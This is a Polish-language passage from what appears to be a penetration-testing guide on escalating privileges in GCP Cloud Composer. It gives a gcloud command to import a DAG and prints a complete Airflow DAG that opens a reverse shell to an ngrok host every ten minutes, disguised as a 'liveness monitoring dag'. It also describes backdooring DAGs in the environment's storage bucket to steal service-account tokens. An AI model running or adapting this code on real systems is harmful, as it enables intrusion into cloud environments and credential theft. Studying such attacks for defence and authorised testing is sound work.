Możliwe jest przypisanie dowolnego konta usługi do nowo utworzonego środowiska kompozytora z tym uprawnieniem. Później możesz wykonać kod wewnątrz kompozytora, aby ukraść token konta usługi.
Dodaj kod DAG w Pythonie do pliku i zaimportuj go, uruchamiając:
# TODO: Create dag to get a rev shellgcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
DAG odwrotnego powłoki:
reverse_shell.py
import airflowfrom airflow import DAGfrom airflow.operators.bash_operator import BashOperatorfrom datetime import timedeltadefault_args ={'start_date': airflow.utils.dates.days_ago(0),'retries':1,'retry_delay':timedelta(minutes=5)}dag =DAG('reverse_shell',default_args=default_args,description='liveness monitoring dag',schedule_interval='*/10 * * * *',max_active_runs=1,catchup=False,dagrun_timeout=timedelta(minutes=10),)# priority_weight has type int in Airflow DB, uses the maximum.t1 =BashOperator(task_id='bash_rev',bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1',dag=dag,depends_on_past=False,priority_weight=2**31-1,do_xcom_push=False)
Dostęp do zapisu w koszu Composer
Wszystkie komponenty środowisk kompozytora (DAGi, wtyczki i dane) są przechowywane w koszu GCP. Jeśli atakujący ma uprawnienia do odczytu i zapisu, może monitorować kosz i za każdym razem, gdy DAG jest tworzony lub aktualizowany, przesłać wersję z backdoorem, aby środowisko kompozytora pobrało z magazynu wersję z backdoorem.
Uzyskaj więcej informacji na temat tego ataku w:
Importuj wtyczki
TODO: Sprawdź, co można skompromitować, przesyłając wtyczki
Importuj dane
TODO: Sprawdź, co można skompromitować, przesyłając dane